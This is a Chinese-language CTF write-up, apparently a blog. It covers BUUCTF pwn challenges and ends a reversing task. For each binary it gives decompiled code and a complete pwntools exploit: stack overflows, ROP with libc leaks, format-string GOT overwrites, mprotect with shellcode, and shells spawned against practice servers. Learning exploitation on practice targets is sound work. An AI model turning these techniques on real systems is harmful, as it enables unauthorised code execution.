for addr in range(0x0000000000610318, 0x00000000006105AC, 4):
ref = ida_xref.get_first_dref_to(addr)
print(hex(addr).center(20,'-'))
while(ref != ida_idaapi.BADADDR):
do_patch(ref)
print('patch at ' + hex(ref))
ref = ida_xref.get_next_dref_to(addr, ref)
print('-' * 20)

之后逻辑便比较清晰了

__int64 __fastcall start_quest(std::string *a1)
{
_QWORD v2[2]; // [rsp+0h] [rbp-90h] BYREF
int v3; // [rsp+48h] [rbp-48h]
char v4; // [rsp+4Fh] [rbp-41h]
std::string *input; // [rsp+50h] [rbp-40h]
int *v6; // [rsp+58h] [rbp-38h]
_QWORD *v7; // [rsp+60h] [rbp-30h]
_QWORD *v8; // [rsp+68h] [rbp-28h]
std::string *i; // [rsp+70h] [rbp-20h]

for ( i = a1; ; v2[1] = std::string::length(i) )
{
v8 = &v2[-2];
v7 = &v2[-2];
v6 = (int *)&v2[-2];
input = (std::string *)&v2[-2];
std::vector<int>::push_back(&hero, &secret_100);
std::vector<int>::push_back(&hero, &secret_214);
std::vector<int>::push_back(&hero, &secret_266);
std::vector<int>::push_back(&hero, &secret_369);
std::vector<int>::push_back(&hero, &secret_417);
std::vector<int>::push_back(&hero, &secret_527);
std::vector<int>::push_back(&hero, &secret_622);
std::vector<int>::push_back(&hero, &secret_733);
std::vector<int>::push_back(&hero, &secret_847);
std::vector<int>::push_back(&hero, &secret_942);
std::vector<int>::push_back(&hero, &secret_1054);
std::vector<int>::push_back(&hero, &secret_1106);
std::vector<int>::push_back(&hero, &secret_1222);
std::vector<int>::push_back(&hero, &secret_1336);
std::vector<int>::push_back(&hero, &secret_1441);
std::vector<int>::push_back(&hero, &secret_1540);
std::vector<int>::push_back(&hero, &secret_1589);
std::vector<int>::push_back(&hero, &secret_1686);
std::vector<int>::push_back(&hero, &secret_1796);
std::vector<int>::push_back(&hero, &secret_1891);
std::vector<int>::push_back(&hero, &secret_1996);
std::vector<int>::push_back(&hero, &secret_2112);
std::vector<int>::push_back(&hero, &secret_2165);
std::vector<int>::push_back(&hero, &secret_2260);
std::vector<int>::push_back(&hero, &secret_2336);
std::vector<int>::push_back(&hero, &secret_2412);
std::vector<int>::push_back(&hero, &secret_2498);
std::vector<int>::push_back(&hero, &secret_2575);
if ( std::string::length(i) - 1LL != legend >> 2 )
break;
std::vector<int>::push_back(&hero, &secret_100);
std::vector<int>::push_back(&hero, &secret_214);
std::vector<int>::push_back(&hero, &secret_266);
std::vector<int>::push_back(&hero, &secret_369);
std::vector<int>::push_back(&hero, &secret_417);
std::vector<int>::push_back(&hero, &secret_527);
std::vector<int>::push_back(&hero, &secret_622);
std::vector<int>::push_back(&hero, &secret_733);
std::vector<int>::push_back(&hero, &secret_847);
std::vector<int>::push_back(&hero, &secret_942);
std::vector<int>::push_back(&hero, &secret_1054);
std::vector<int>::push_back(&hero, &secret_1106);
std::vector<int>::push_back(&hero, &secret_1222);
std::vector<int>::push_back(&hero, &secret_1336);
std::vector<int>::push_back(&hero, &secret_1441);
std::vector<int>::push_back(&hero, &secret_1540);
std::vector<int>::push_back(&hero, &secret_1589);
std::vector<int>::push_back(&hero, &secret_1686);
std::vector<int>::push_back(&hero, &secret_1796);
std::vector<int>::push_back(&hero, &secret_1891);
std::vector<int>::push_back(&hero, &secret_1996);
std::vector<int>::push_back(&hero, &secret_2112);
std::vector<int>::push_back(&hero, &secret_2165);
std::vector<int>::push_back(&hero, &secret_2260);
std::vector<int>::push_back(&hero, &secret_2336);
std::vector<int>::push_back(&hero, &secret_2412);
std::vector<int>::push_back(&hero, &secret_2498);
std::vector<int>::push_back(&hero, &secret_2575);
}
if ( (v4 & 1) != 0 )
{
*v6 = legend >> 2;
}
else
{
std::string::string(input, i);
v3 = sanitize_input(input);
*v6 = v3;
std::string::~string(input);
}
return (unsigned int)*v6;
}

首先是进行一些初始化和校验flag长度是否为(legend >> 2) + 1, 其中legend == 0x73,接着进入sanitize_input函数

sanitize_input反编译看起来比较复杂,但实际操作就是依次从输入中取出存入另一个vector中,当vector中数大于等于两个时开始送入transform_input中处理后,与hero中的数进行对比

transform_input函数将该vector中的数进行求和

data = [100, 214, 266, 369, 417, 527, 622, 733, 847, 942, 1054, 1106, 1222, 1336,
1441, 1540, 1589, 1686, 1796, 1891, 1996, 2112, 2165, 2260, 2336, 2412, 2498, 2575]
for i in range(len(data)-1, 0, -1):
data[i] -= data[i-1]
print(bytes(data))

Pwn

Pwn环境

BUUOJ上的Pwn环境libc版本都可以从下面的网址下载

https://buuoj.cn/resources

test_your_nc

直接nc上去cat flag

rip

➜  rip checksec pwn1
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

基本没开保护

int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[15]; // [rsp+1h] [rbp-Fh] BYREF

puts("please input");
gets(s, argv); // 栈溢出
puts(s);
puts("ok,bye!!!");
return 0;
}

存在fun函数,直接溢出到fun即可

image-20211019211223467

EXP

from pwn import *
p = process("./pwn1")
rv = p.recv
ru = p.recvuntil
sd = p.send
sa = p.sendafter
sl = p.sendline
sla = p.sendlineafter

ru("please input\n")
payload = b"1" * 15 + b"2" * 8 + p64(0x000000000040118A)
sl(payload)
ru("ok,bye!!!\n")

p.interactive()

warmup_csaw_2016

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

保护基本没开,主函数存在栈溢出

__int64 __fastcall main(int a1, char **a2, char **a3)
{
char s[64]; // [rsp+0h] [rbp-80h] BYREF
char v5[64]; // [rsp+40h] [rbp-40h] BYREF

write(1, "-Warm Up-\n", 0xAuLL);
write(1, "WOW:", 4uLL);
sprintf(s, "%p\n", sub_40060D);
write(1, s, 9uLL);
write(1, ">", 1uLL);
return gets(v5); // 栈溢出
}

存在cat flag函数

int sub_40060D()
{
return system("cat flag.txt");
}

EXP

from pwn import *

p = process("./warmup_csaw_2016")

rv = p.recv
ru = p.recvuntil
sd = p.send
sa = p.sendafter
sl = p.sendline
sla = p.sendlineafter

payload = b"a" * 64 + b"b" * 8 + p64(0x0000000000400611)
sl(payload)

p.interactive()

ciscn_2019_n_1

题目如下

int func()
{
char v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h]

v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
return system("cat /flag");
else
return puts("Its value should be 11.28125");
}

栈溢出到v2, 使v2为11.28125即可

EXP

from pwn import *
import struct
p = process("./ciscn_2019_n_1")
rv = p.recv
ru = p.recvuntil
sd = p.send
sa = p.sendafter
sl = p.sendline
sla = p.sendlineafter
ia = p.interactive

payload = b"1" * 44 + struct.pack("<f", 11.28125)
sl(payload)
ia()

pwn1_sctf_2016

32位C++, 开启了NX, 但这题用不到

➜  pwn1_sctf_2016 checksec pwn1_sctf_2016
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
printf("Tell me something about yourself: ");
fgets(s, 32, edata);
std::string::operator=(&input, s);
std::allocator<char>::allocator(&v5);
std::string::string(v4, "you", &v5);
std::allocator<char>::allocator(v7);
std::string::string(v6, "I", v7);
replace((std::string *)v3);
std::string::operator=(&input, v3, v6, v4);
std::string::~string(v3);
std::string::~string(v6);
std::allocator<char>::~allocator(v7);
std::string::~string(v4);
std::allocator<char>::~allocator(&v5);
v0 = (const char *)std::string::c_str((std::string *)&input);
strcpy(s, v0);
return printf("So, %s\n", s);

存在get_flag函数

int get_flag()
{
return system("cat flag.txt");
}

会将输入的I替换为you, 造成溢出

➜  pwn1_sctf_2016 ./pwn1_sctf_2016
Tell me something about yourself: IIII
So, youyouyouyou

EXP

from pwn import *

p = process("./pwn1_sctf_2016/pwn1_sctf_2016")
rv = p.recv
ru = p.recvuntil
sd = p.send
sa = p.sendafter
sl = p.sendline
sla = p.sendlineafter
ia = p.interactive

payload = b"I" * 0x14 + b"2" * 4 + p32(0x8048F13)
sl(payload)
ia()

jarvisoj_level0

基础栈溢出, 直接溢出到 backdoor 就可以了

EXP

from pwn import *

# p = process("./level0)
p = remote("node3.buuoj.cn", 27700)

payload = b"a" * (128 + 8) + p64(0x000000000400596)

p.sendlineafter("Hello, World\n", payload)

p.interactive()

jarvisoj_level2

基础栈溢出, 没有后门函数但是有system函数, 且 IDA 搜索字符串有/bin/sh

.data:0804A024 hint            db '/bin/sh',0

那么思路就是栈溢出到system, 且布局栈中有参数 /bin/sh 的地址就可以 getshell 了

EXP

from pwn import *

# p = process("./level2")

p = remote("node3.buuoj.cn", 25988)

payload = b"a" * (136 + 4) + p32(0x8048320) + p32(0) + p32(0x804a024)

p.sendlineafter("Input:", payload)

p.interactive()

0ctf 2017 babyheap

0ctf 2017 babyheap

ciscn_2019_c_1

➜  ciscn_2019_c_1 checksec ciscn_2019_c_1
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

64位ELF, 开了NX, 一个加解密程序,encrypt可用

其中encrypt

int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h] BYREF
_WORD v3[16]; // [rsp+30h] [rbp-20h]

memset(s, 0, sizeof(s));
v3[0] = 0;
puts("Input your Plaintext to be encrypted");
gets(s); // stack overflow
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) )
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xFu;
}
else
{
s[x] ^= 0xEu;
}
}
else
{
s[x] ^= 0xDu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}

题目没有system和/bin/sh所以需要构造ROP, 并且没有给出libc文件,需要leak

根据64位传参规则,puts函数传入参数为rdi, 所以需要pop rdi的gadget

➜  ciscn_2019_c_1 ROPgadget --binary ciscn_2019_c_1 |grep "pop rdi"
0x0000000000400c83 : pop rdi ; ret

由于线上环境为ubuntu18,故调用system需要栈对齐在一些64位的glibc的payload调用system函数失败问题 – Ex个人博客 (eonew.cn)

多加个ret使栈对齐即可

EXP

本来输入时是需要先进行decrypt的,这样才能使encrypt后变为我们想要的数据,但根据strlen的截断为\x00以及地址b9 06 40不在加密范围内,故实际打的时候不需要

from pwn import *
from LibcSearcher import *
p = process("./ciscn_2019_c_1/ciscn_2019_c_1")
elf = ELF("./ciscn_2019_c_1/ciscn_2019_c_1")
rv = p.recv
ru = p.recvuntil
rl = p.recvline
sd = p.send
sa = p.sendafter
sl = p.sendline
sla = p.sendlineafter
ia = p.interactive

main = elf.sym['main']
pop_rdi_addr = 0x0000000000400c83
ret_addr = 0x00000000004006b9

puts_plt = elf.sym['puts']
gets_got = elf.got['puts']
puts_got = elf.got['puts']


log.success(f"puts_plt => {hex(puts_plt)}")
log.success(f"puts_got => {hex(puts_got)}")
log.success(f"gets_got => {hex(gets_got)}")

sla("choice!\n", '1')

payload = b"\x00" * 88
payload += p64(pop_rdi_addr) + p64(puts_got) + p64(puts_plt)
payload += p64(main)

sl(payload)
ru("@")
rl()

puts_leak = u64(rl()[:-1].ljust(8, b'\0'))
log.success(f"puts_leak => {hex(puts_leak)}")

libc = LibcSearcher('puts', puts_leak)
libc_base = puts_leak - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
str_bin_sh_addr = libc_base + libc.dump('str_bin_sh')

log.success(f"libc_base => {hex(libc_base)}")
log.success(f"sys_addr => {hex(sys_addr)}")
log.success(f"str_bin_sh_addr => {hex(str_bin_sh_addr)}")

sla("choice!\n", '1')

payload = b"\x00" * 88
payload += p64(ret_addr)
payload += p64(pop_rdi_addr) + p64(str_bin_sh_addr) + p64(sys_addr)

sl(payload)

ia()

[第五空间2019 决赛]PWN5

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

image-20211020145931370

存在格式化字符串漏洞,先通过%p查看我们输入的值位于哪里

➜  Pwn ./\[第五空间2019\ 决赛\]PWN5/pwn
your name:aaaa%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
Hello,aaaa-0xffd74948-0x63-(nil)-0xf7fcaa9c-0x3-0xf7f9d410-0x1-(nil)-0x1-0x61616161-0x2d70252d

可以看出,位于第10个参数

由于本题的限制较少,故我们有以下几种做法

  1. 覆盖dword_0804C044的值
  2. dword_0804C044的值读出
  3. 覆盖atoi函数的地址为system, 传入/bin/sh获得shell

EXP1

from pwn import *
p = process("./pwn")
context.log_level = "DEBUG"
rv = p.recv
ru = p.recvuntil
sd = p.send
sa = p.sendafter
sl = p.sendline
sla = p.sendlineafter
ia = p.interactive

elf = ELF('./pwn')

data_addr = 0x0804C044
payload = p32(data_addr) + b"%10$n" # 将0x0804C044处的值覆盖为已输出的字符串长度,即4
sl(payload)
sl(str(4))
ia()

EXP2

这里需要注意,输入的atoi函数传入有符号,最大只能0x7fffffff, 所以…概率成功

from pwn import *
p = process("./pwn")
context.log_level = "DEBUG"
context.terminal = ['tmux', 'splitw', '-v']
rv = p.recv
ru = p.recvuntil
rl = p.recvline
sd = p.send
sa = p.sendafter
sl = p.sendline
sla = p.sendlineafter
ia = p.interactive

elf = ELF('./pwn')

data_addr = 0x0804C044
payload = p32(data_addr) + b"%10$s"
sd(payload)
ru(p32(data_addr))
data = u32(rv(4))
log.success(f"data => {hex(data)}")
sd(str(data))
ia()

EXP3

from pwn import *
p = process("./pwn")
context.log_level = "DEBUG"
context.terminal = ['tmux', 'splitw', '-v']
rv = p.recv
ru = p.recvuntil
rl = p.recvline
sd = p.send
sa = p.sendafter
sl = p.sendline
sla = p.sendlineafter
ia = p.interactive

elf = ELF('./pwn')

data_addr = 0x0804C044

atoi_got = elf.got['atoi']
system_plt = elf.plt['system']
payload = fmtstr_payload(10, {atoi_got: system_plt})
sl(payload)
sl(b"/bin/sh\x00")
ia()

[OGeek2019]babyrop

checksec 一下

➜  [OGeek2019]babyrop checksec pwn
[*] '/mnt/c/Users/Lantern/Documents/Lantern/CTF/Games/BUUCTF/Pwn/[OGeek2019]babyrop/pwn'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

首先要求输入等于一个随机数,但由于strlen\x00截断,可以将v5设置为0过掉strncmp

int __cdecl sub_804871F(int a1)
{
size_t v1; // eax
char s[32]; // [esp+Ch] [ebp-4Ch] BYREF
char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF
ssize_t v5; // [esp+4Ch] [ebp-Ch]

memset(s, 0, sizeof(s));
memset(buf, 0, sizeof(buf));
sprintf(s, "%ld", a1);
v5 = read(0, buf, 32u);
buf[v5 - 1] = 0;
v1 = strlen(buf); // \x00截断
if ( strncmp(buf, s, v1) )
exit(0);
write(1, "Correct\n", 8u);
return (unsigned __int8)buf[7];
}

接着将我们的输入的buf[7]传入下面的函数接受读入, 存在栈溢出

ssize_t __cdecl sub_80487D0(char a1)
{
char buf[231]; // [esp+11h] [ebp-E7h] BYREF

if ( a1 == 0x7F )
return read(0, buf, 0xC8u);
else
return read(0, buf, a1); // a1 >= 231即栈溢出
}

EXP

from pwn import *
context.log_level = "DEBUG"
ip_port = "node4.buuoj.cn:26681".split(":")
ip = ip_port[0]
port = ip_port[1]

# p = process("./pwn")
p = remote(ip, port)

lib = ELF("./libc-2.23.so")
elf = ELF("./pwn")

rv = p.recv
ru = p.recvuntil
rl = p.recvline
sd = p.send
sa = p.sendafter
sl = p.sendline
sla = p.sendlineafter
ia = p.interactive

write_plt = elf.plt['write']
read_got = elf.got['read']
read_plt = elf.plt['read']
main_addr = 0x08048825

payload = b"\x00" + b"\xff" * 7
sl(payload)
ru("Correct\n")
payload = b"A" * 0xe7 + b"b" * 0x4
payload += p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(0x8)
sl(payload)

read_addr = u32(rv(4))
log.success(f"read_addr: {hex(read_addr)}")

lib.address = read_addr - lib.symbols['read']
system_addr = lib.symbols['system']
binsh_addr = next(lib.search(b"/bin/sh"))

payload = b"\x00" + b"\xff" * 7
sl(payload)
ru("Correct\n")

payload = b"A" * 0xe7 + b"b" * 0x4
payload += p32(system_addr) * 2 + p32(binsh_addr)
sl(payload)

ia()

ciscn_2019_n_8

➜  ciscn_2019_n_8 checksec ciscn_2019_n_8
[*] '/mnt/c/Users/Lantern/Documents/Lantern/CTF/Games/BUUCTF/Pwn/ciscn_2019_n_8/ciscn_2019_n_8'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

保护全开

int __cdecl main(int argc, const char **argv, const char **envp)
{
var[13] = 0;
var[14] = 0;
init();
puts("What's your name?");
__isoc99_scanf("%s", var);
if ( *(_QWORD *)&var[13] )
{
if ( *(_QWORD *)&var[13] == 0x11LL )
system("/bin/sh");
else
printf("something wrong! val is %d", var[0]);
}
else
{
printf("%s, Welcome!\n", var);
puts("Try do something~");
}
return 0;
}

只要 *(_QWORD *)&var[13]为0x11则可以getshell

EXP

from pwn import *
context.log_level = "DEBUG"
context.terminal = ['tmux', 'splitw', '-v']
def Remote(address):
ip_port = address.split(":")
ip = ip_port[0]
port = ip_port[1]
p = remote(ip, port)
return p
p = process("./ciscn_2019_n_8")
p = Remote("node4.buuoj.cn:27126")
rv = p.recv
ru = p.recvuntil
rl = p.recvline
sd = p.send
sa = p.sendafter
sl = p.sendline
sla = p.sendlineafter
ia = p.interactive

ru("What's your name?")
payload = p32(0x11) * 14
sl(payload)

ia()

bjdctf_2020_babystack

没有Canary和PIE

➜  bjdctf_2020_babystack checksec bjdctf_2020_babystack
[*] '/mnt/c/Users/Lantern/Documents/Lantern/CTF/Games/BUUCTF/Pwn/bjdctf_2020_babystack/bjdctf_2020_babystack'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

存在栈溢出和后门函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[12]; // [rsp+0h] [rbp-10h] BYREF
size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF

setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
LODWORD(nbytes) = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let's try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf("%d", &nbytes);
puts("[+]What's u name?");
read(0, buf, (unsigned int)nbytes);
return 0;
}

后门函数:

.text:00000000004006E6 backdoor        proc near
.text:00000000004006E6 ; __unwind {
.text:00000000004006E6 push rbp
.text:00000000004006E7 mov rbp, rsp
.text:00000000004006EA mov edi, offset command ; "/bin/sh"
.text:00000000004006EF call _system
.text:00000000004006F4 mov eax, 1
.text:00000000004006F9 pop rbp
.text:00000000004006FA retn

溢出到后门函数即可

EXP

from pwn import *
context.log_level = "DEBUG"
context.terminal = ['tmux', 'splitw', '-v']
def Remote(address):
ip_port = address.split(":")
ip = ip_port[0]
port = ip_port[1]
p = remote(ip, port)
return p
# p = process("./bjdctf_2020_babystack")
p = Remote("node4.buuoj.cn:29795")
rv = p.recv
ru = p.recvuntil
rl = p.recvline
sd = p.send
sa = p.sendafter
sl = p.sendline
sla = p.sendlineafter
sda = p.sendafter
ia = p.interactive

backdoor_addr = 0x00000000004006E6
sla("[+]Please input the length of your name:", str(100))
payload = b'A' * 0x10 + b"B" * 8 + p64(backdoor_addr)
sda("[+]What's u name?", payload)

ia()

ciscn_2019_en_2

ciscn_2019_c_1一毛一样

not_the_same_3dsctf_2016

没有Canary, PIE 开启了NX保护

➜  not_the_same_3dsctf_2016 checksec not_the_same_3dsctf_2016
[*] '/mnt/c/Users/Lantern/Documents/Lantern/CTF/Games/BUUCTF/Pwn/not_the_same_3dsctf_2016/not_the_same_3dsctf_2016'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

main函数存在栈溢出

int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[45]; // [esp+Fh] [ebp-2Dh] BYREF

printf("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ");
gets(v4); // stack overflow
return 0;
}

存在get_secret函数

int get_secret()
{
int v0; // esi

v0 = fopen("flag.txt", &unk_80CF91B);
fgets(&fl4g, 45, v0);
return fclose(v0);
}

EXP1

将flag存放到.bss段上, 因为存在write可以将flag输出出来

from pwn import *
context.log_level = "DEBUG"
context.terminal = ['tmux', 'splitw', '-v']
def Remote(address):
ip_port = address.split(":")
ip = ip_port[0]
port = ip_port[1]
p = remote(ip, port)
return p
p = process("./not_the_same_3dsctf_2016")
p = Remote("node4.buuoj.cn:25675")
rv = p.recv
ru = p.recvuntil
rl = p.recvline
sd = p.send
sa = p.sendafter
sl = p.sendline
sla = p.sendlineafter
sda = p.sendafter
ia = p.interactive
elf = ELF("./not_the_same_3dsctf_2016")
fl4g = 0x080ECA2D
payload = b"A" * 0x2D + p32(0x080489A0) + p32(elf.sym['write']) + p32(0xdeadbeef) + p32(1) + p32(fl4g) + p32(42)
sl(payload)

ia()

EXP2

虽然开启了NX保护,但是存在mprotect, 则可以修改bss段为可读可写可执行,然后通过read函数往bss写shellcode,最后将执行流返回到bss即可

from pwn import *
context.log_level = "DEBUG"
context.terminal = ['tmux', 'splitw', '-v']
def Remote(address):
ip_port = address.split(":")
ip = ip_port[0]
port = ip_port[1]
p = remote(ip, port)
return p
p = process("./not_the_same_3dsctf_2016")
p = Remote("node4.buuoj.cn:25675")
rv = p.recv
ru = p.recvuntil
rl = p.recvline
sd = p.send
sa = p.sendafter
sl = p.sendline
sla = p.sendlineafter
sda = p.sendafter
ia = p.interactive

elf = ELF("./not_the_same_3dsctf_2016")
mprotect_addr = elf.sym["mprotect"]
read_plt = elf.sym["read"]
pop_3_ret = 0x080483b8
m_start = 0x080EB000 # bss ye
bss = 0x080EBF80 # bss
len = 0x2000
prot = 4+2+1 # (rwx)

payload = b"A"*0x2D+p32(mprotect_addr)+p32(pop_3_ret) + \
p32(m_start)+p32(len)+p32(prot) # mprotect(m_start,len,7);
payload += p32(read_plt)+p32(bss+0x400)+p32(0) + \
p32(bss+0x400)+p32(0x100) # read(0,m_start,100)
p.sendline(payload)
payload = asm(shellcraft.sh(), arch='i386', os='linux') # shellcode len is 40
p.sendline(payload)
p.interactive()

[HarekazeCTF2019]baby_rop

没有Canary和PIE, 开启NX

➜  [HarekazeCTF2019]baby_rop checksec babyrop
[*] '/mnt/c/Users/Lantern/Documents/Lantern/CTF/Games/BUUCTF/Pwn/[HarekazeCTF2019]baby_rop/babyrop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

main函数存在栈溢出漏洞,程序中存在system

int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[16]; // [rsp+0h] [rbp-10h] BYREF

system("echo -n \"What's your name? \"");
__isoc99_scanf("%s", v4);
printf("Welcome to the Pwn World, %s!\n", v4);
return 0;
}

并存在/bin/sh

image-20211030174558263

根据64位传参规则,需要找一个pop rdi; ret;

image-20211030174840049

EXP

from pwn import *
context.log_level = "DEBUG"
context.terminal = ['tmux', 'splitw', '-h']
def Remote(address):
ip_port = address.split(":")
ip = ip_port[0]
port = ip_port[1]
p = remote(ip, port)
return p
def Debug(p, breakpoints):
gdb.attach(p, breakpoints)

p = process("./babyrop")
p = Remote("node4.buuoj.cn:26360")
rv = p.recv
ru = p.recvuntil
rl = p.recvline
sd = p.send
sa = p.sendafter
sl = p.sendline
sla = p.sendlineafter
sda = p.sendafter
ia = p.interactive

elf = ELF("./babyrop")
system_addr = elf.sym['system']
pop_rdi_addr = 0x0000000000400683
bin_sh_addr = 0x0000000000601048

payload = b"A" * 0x10 + b"B" * 8 + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr)

sla("What's your name?", payload)

ia()

jarvisoj_level2_x64

没有Canary、PIE,开启NX

➜  jarvisoj_level2_x64 checksec level2_x64
[*] '/mnt/c/Users/Lantern/Documents/Lantern/CTF/Games/BUUCTF/Pwn/jarvisoj_level2_x64/level2_x64'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

漏洞点在下面的函数中, 栈溢出

ssize_t vulnerable_function()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF

system("echo Input:");
return read(0, buf, 0x200uLL);
}

存在/bin/sh

image-20211030183852299

根据64位传参规则,需要一个rdigadget

image-20211030184223526

EXP

from pwn import *
context.log_level = "DEBUG"
context.terminal = ['tmux', 'splitw', '-h']
def Remote(address):
ip_port = address.split(":")
ip = ip_port[0]
port = ip_port[1]
p = remote(ip, port)
return p
def Debug(p, breakpoints):
gdb.attach(p, breakpoints)

p = process("./level2_x64")
p = Remote("node4.buuoj.cn:27905")
rv = p.recv
ru = p.recvuntil
rl = p.recvline
sd = p.send
sa = p.sendafter
sl = p.sendline
sla = p.sendlineafter
ia = p.interactive

elf = ELF("./level2_x64")

system_addr = elf.sym['system']
pop_rdi_addr = 0x00000000004006b3
bin_sh_addr = 0x0000000000600A90

payload = b"A" * 128 + b"B" * 8 + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
sla("Input:", payload)

ia()

ciscn_2019_n_5

➜  ciscn_2019_n_5  checksec ciscn_2019_n_5
[*] '/mnt/c/Users/Lantern/Documents/Lantern/CTF/Games/BUUCTF/Pwn/ciscn_2019_n_5/ciscn_2019_n_5'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

main存在栈溢出

int __cdecl main(int argc, const char **argv, const char **envp)
{
char text[30]; // [rsp+0h] [rbp-20h] BYREF

setvbuf(stdout, 0LL, 2, 0LL);
puts("tell me your name");
read(0, name, 0x64uLL);
puts("wow~ nice name!");
puts("What do you want to say to me?");
gets(text);
return 0;
}

EXP

name在.bss段上, 由于保护没开,故可以往上面写shellcode,跳过去执行即可

from pwn import *
context.log_level = "DEBUG"
context.arch = "amd64"
context.os = "linux"
context.terminal = ['tmux', 'splitw', '-h']
def Remote(address):
ip_port = address.split(":")
ip = ip_port[0]
port = ip_port[1]
p = remote(ip, port)
return p
def Debug(p, breakpoints):
gdb.attach(p, breakpoints)

p = process("./ciscn_2019_n_5")
p = Remote("node4.buuoj.cn:28493")
rv = p.recv
ru = p.recvuntil
rl = p.recvline
sd = p.send
sa = p.sendafter
sl = p.sendline
sla = p.sendlineafter
ia = p.interactive

payload = asm(shellcraft.sh())
sla("tell me your name", payload)

payload = b"A" * 40 + p64(0x0000000000601080)
sla("What do you want to say to me?", payload)

ia()

others_shellcode

开启 NX, PIE , 没有 Canary

➜  others_shellcode checksec shell_asm
[*] '/mnt/c/Users/Lantern/Documents/Lantern/CTF/Games/BUUCTF/Pwn/others_shellcode/shell_asm'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

main函数直接getshell了,这题应该是为了展示shellcode吧

ciscn_2019_ne_5

存在NX, 没有PIE, Canary

➜  ciscn_2019_ne_5 checksec ciscn_2019_ne_5
[*] '/mnt/c/Users/Lantern/Documents/Lantern/CTF/Games/BUUCTF/Pwn/ciscn_2019_ne_5/ciscn_2019_ne_5'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

Print函数中存在system

搜索发现存在sh

image-20211030194852369

AddLog函数中可以输入log

int __cdecl AddLog(int a1)
{
printf("Please input new log info:");
return __isoc99_scanf("%128s", a1);
}

Getflag函数中存在strcpy, 而这里复制的正是AddLog函数中输入的数据

int __cdecl GetFlag(char *src)
{
char dest[4]; // [esp+0h] [ebp-48h] BYREF
char v3[60]; // [esp+4h] [ebp-44h] BYREF

*(_DWORD *)dest = 48;
memset(v3, 0, sizeof(v3));
strcpy(dest, src);
return printf("The flag is your log:%s\n", dest);
}

v3最大为60字节, 而上个函数可以输入128个字节,则可以溢出

EXP

from pwn import *
context.arch = "amd64"
context.os = "linux"
context.log_level = "DEBUG"
context.terminal = ['tmux', 'splitw', '-h']
def Remote(address):
ip_port = address.split(":")
ip = ip_port[0]
port = ip_port[1]
p = remote(ip, port)
return p
def Debug(p, breakpoints):
gdb.attach(p, breakpoints)

p = process("./ciscn_2019_ne_5")
# p = Remote()
rv = p.recv
ru = p.recvuntil
rl = p.recvline
sd = p.send
sa = p.sendafter
sl = p.sendline
sla = p.sendlineafter
ia = p.interactive

elf = ELF("./ciscn_2019_ne_5")
sh_addr = 0x080482ea
system_addr = elf.sym['system']

sla("password", "administrator")
payload = b"1" * 0x48 + b"B" * 4 + p32(system_addr) + b"A" * 4 + p32(sh_addr)
sla(":", "1")
sla("Please input new log info:", payload)
sla(":", str(4))
ia()

铁人三项(第五赛区)_2018_rop

➜  铁人三项(第五赛区)_2018_rop checksec 2018_rop
[*] '/mnt/c/Users/Lantern/Documents/Lantern/CTF/Games/BUUCTF/Pwn/铁人三项(第五赛区)_2018_rop/2018_rop'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

**vulnerable_function()**存在溢出

ssize_t vulnerable_function()
{
char buf[136]; // [esp+10h] [ebp-88h] BYREF

return read(0, buf, 0x100u);
}

然而没有sysytembinsh所以需要溢出找到libc, 从而getshell

EXP

from pwn import *
from LibcSearcher import *
context.arch = "amd64"
context.os = "linux"
